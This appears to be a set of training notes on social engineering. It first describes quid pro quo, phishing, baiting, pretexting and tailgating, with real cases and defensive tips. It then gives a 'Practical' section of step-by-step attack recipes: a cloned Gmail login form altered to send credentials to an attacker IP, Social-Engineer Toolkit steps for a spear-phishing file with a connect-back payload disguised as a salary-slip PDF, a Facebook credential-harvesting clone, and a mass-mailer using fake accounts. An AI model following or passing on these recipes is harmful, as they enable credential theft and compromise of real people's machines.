
“There is no patch for human stupidity” 

Social Engineering 

To ways to gain access: 

1. Social Engineering 

2. Viruses/Worms that you create by yourself 

What is Social Engineering? 

 Human interaction 

 Respectable persons 

 Assembling information together 

Types of Social Engineering 

1. Quid Pro Quo (Something for Something) 

Quid pro quo attacks promise a benefit in exchange for information. This benefit usually 

assumes the form of a service, whereas baiting frequently takes the form of a good. 

One of the most common types of quid pro quo attacks involve fraudsters who 

impersonate IT service people and who spam call as many direct numbers that belong to 

a company as they can find. These attackers offer IT assistance to each and every one of 

their victims. The fraudsters will promise a quick fix in exchange for the employee 

disabling their AV program and for installing malware on their computers that assumes 

the guise of software updates. 

It is important to note, however, that attackers can use much less sophisticated quid pro 

quo offers than IT fixes. As real world examples have shown, office workers are more 

than willing to give away their passwords for a cheap pen or even a bar of chocolate. 

2. Phishing 

Phishing scams might be the most common types of social engineering attacks used 

today. Most phishing scams demonstrate the following characteristics: 

 Seek to obtain personal information, such as names, addresses and social security 

numbers. 

 Use link shorteners or embed links that redirect users to suspicious websites in 

URLs that appear legitimate. 

 Incorporates threats, fear and a sense of urgency in an attempt to manipulate the 

user into acting promptly. 



Some phishing emails are more poorly crafted than others to the extent that their 

messages oftentimes exhibit spelling and grammar errors but these emails are no less 

focused on directing victims to a fake website or form where they can steal user login 

credentials and other personal information. 

A recent scam sent phishing emails to users after they installed cracked APK files from 

Google Play Books that were pre-loaded with malware. This specific phishing campaign 

demonstrates how attackers commonly pair malware with phishing attacks in an effort to 

steal users’ information. 

3. Baiting 

Baiting is in many ways similar to phishing attacks. However, what distinguishes them 

from other types of social engineering is the promise of an item or good that hackers use 

to entice victims. Baiters may offer users free music or movie downloads, if they 

surrender their login credentials to a certain site. 

Baiting attacks are not restricted to online schemes, either. Attackers can also focus on 

exploiting human curiosity via the use of physical media. 

One such attack was documented by Steve Stasiukonis, VP and founder of Secure 

Network Technologies, Inc., back in 2006. To assess the security of a financial client, 

Steve and his team infected dozens of USBs with a Trojan virus and dispersed them 

around the organization’s parking lot. Curious, many of the client’s employees picked up 

the USBs and plugged them into their computers, which activated a keylogger and gave 

Steve access to a number of employees’ login credentials. 

 

4. Pretexting 

Pretexting is another form of social engineering where attackers focus on creating a good 

pretext, or a fabricated scenario, that they can use to try and steal their victims’ personal 

information. These types of attacks commonly take the form of a scammer who pretends 

that they need certain bits of information from their target in order to confirm their 

identity. 

More advanced attacks will also try to manipulate their targets into performing an action 

that enables them to exploit the structural weaknesses of an organization or company. A 

good example of this would be an attacker who impersonates an external IT services 

auditor and manipulates a company’s physical security staff into letting them into the 

building. 

Unlike phishing emails, which use fear and urgency to their advantage, pretexting attacks 

rely on building a false sense of trust with the victim. This requires the attacker to build a 

credible story that leaves little room for doubt on the part of their target. 

Pretexting attacks are commonly used to gain both sensitive and non-sensitive 

information. Back in October, for instance, a group of scammers posed as representatives 

from modeling agencies and escort services, invented fake background stories and 

interview questions in order to have women, including teenage girls, send them nude 

pictures of themselves. 

 

http://web.archive.org/web/20060713134051/http:/www.darkreading.com/document.asp?doc_id=95556&WT.svl=column1_1
http://searchcio.techtarget.com/definition/pretexting
http://searchcio.techtarget.com/definition/pretexting
http://www.washingtonpost.com/news/the-intersect/wp/2014/10/07/forget-celebgate-hackers-are-gunning-for-the-nude-photos-of-ordinary-women-and-underage-girls/
http://www.washingtonpost.com/news/the-intersect/wp/2014/10/07/forget-celebgate-hackers-are-gunning-for-the-nude-photos-of-ordinary-women-and-underage-girls/


5. Diversion Theft 

Another social engineering attack type is known as tailgating or “piggybacking.” These 

types of attacks involve someone who lacks the proper authentication following an 

employee into a restricted area. 

In a common type of tailgating attack, a person impersonates a delivery driver and waits 

outside a building. When an employee gains security’s approval and opens their door, the 

attacker asks that the employee hold the door, thereby gaining access off of someone who 

is authorized to enter the company. 

Tailgating does not work in all corporate settings, such as in larger companies where all 

persons entering a building are required to swipe a card. However, in mid-size 

enterprises, attackers can strike up conversations with employees and use this show of 

familiarity to successfully get past the front desk. 

In fact, Colin Greenless, a security consultant at Siemens Enterprise Communications, 

used these same tactics to gain access to several different floors, as well as the data room 

at an FTSE-listed financial firm. He was even able to base himself in a third floor 

meeting room, out of which he worked for several days. 
 

Recommendations 

Hackers who engage in social engineering attacks prey off of human psychology and 

curiosity in order to compromise their targets’ information. With this human-centric 

focus in mind, it is up to users and employees to counter these types of attacks. 

Here are a few tips on how users can avoid social engineering schemes: 

 Do not open any emails from untrusted sources 

Be sure to contact a friend or family member in person or via phone if you ever 

receive an email message that seems unlike them in any way. 

 Do not give offers from strangers the benefit of the doubt 

If they seem too good to be true, they probably are. 

 Lock your laptop  

Whenever you are away from your workstation. 

 Purchase anti-virus software.  

No AV solution can defend against every threat that seeks to jeopardize users’ 

information, but they can help protect against some. 

 Read your company’s privacy policy  

http://www.computerworlduk.com/news/security/14706/how-a-man-used-social-engineering-to-trick-a-ftse-listed-financial-firm/
http://www.computerworlduk.com/news/security/14706/how-a-man-used-social-engineering-to-trick-a-ftse-listed-financial-firm/


To understand under what circumstances you can or should let a stranger into the 

building. 

 

Practical 

Open gmail page 

Right click and save as 

Right click on gmail page and edit with Notepad++ 

Click find 

Type action and click find and then next 

You will see (<form novalidate=”” 

method=”post”.action=https://accounts.google.com/ServiceLoginAuth id=”gaia_loginform”>) 

Change like this 

(<form novalidate=”” method=”get” action=”https://192.168.1.10/” id=”gaia_loginform”> 

 

Save this and post to targeted machine or say someone to open this link. 

 

 

  

https://accounts.google.com/ServiceLoginAuth


Spear-Phishing Attack 

 

Open terminal 

Type setoolkit 

Type 1 

Type 1 

Type 2 

Type 5 (word RTF) 

Type 1 

Type IP address of listener (192.168.1.100) 

Port to connect back : 2960 

Wait 

Rename the file, I want to be cool type 2 

New filename:Salary_Slip 

Type 99 to exit 

Open computer  

Show hidden files (view>show hidden files) in root 

You will see ./set folder 

Copy file to targeted system 

Change extension of file to .pdf for targeted system 

Run it 

 

 

 

 



Phishing Attack 

Open terminal 

Type setoolkit 

Type 1 

Type 2 (Website attack) 

Type 3 (Credential Harvester Attack Method) 

Type 2 (Site Cloner) 

Type your Kali IP here (e.g. 192.168.1.2) 

Enter URL to clone (Open facebook and copy all link and paste in kali) 

Type y 

Press enter 

Press enter 

 

Now go to client pc (Tell story bla bla bla) 

Type kali ip in client browser 

Cloned website will open 

Type username and password 

Enter 

 

Now open computer in kali 

Click filesystem 

Open var file 

Open www 

Open file 

That’s it. 

 

  



Mass Mailer Attack 

(Create fake accounts for this) 

Open terminal 

Type setoolkit 

Type 1 

Type 5 

Type 1 

Send email to:abc@gmail.com 

Type 1 

Your gmail email address:test@gmail.com 

The From Name the user will see:SmartPerson 

Email password: type your email password 

Flag this message as high priority Yes/No: yes 

Email subject: You are going to get E-Bombed 

Send the message as html or plain? H or p:h 

Enter the body of the message, type ENG when finished:Dear user 

Alskdflasdjflasdlfksalfkjasflksalkfjlask 

Regards, 

END 

 

Go to email account and check 

 


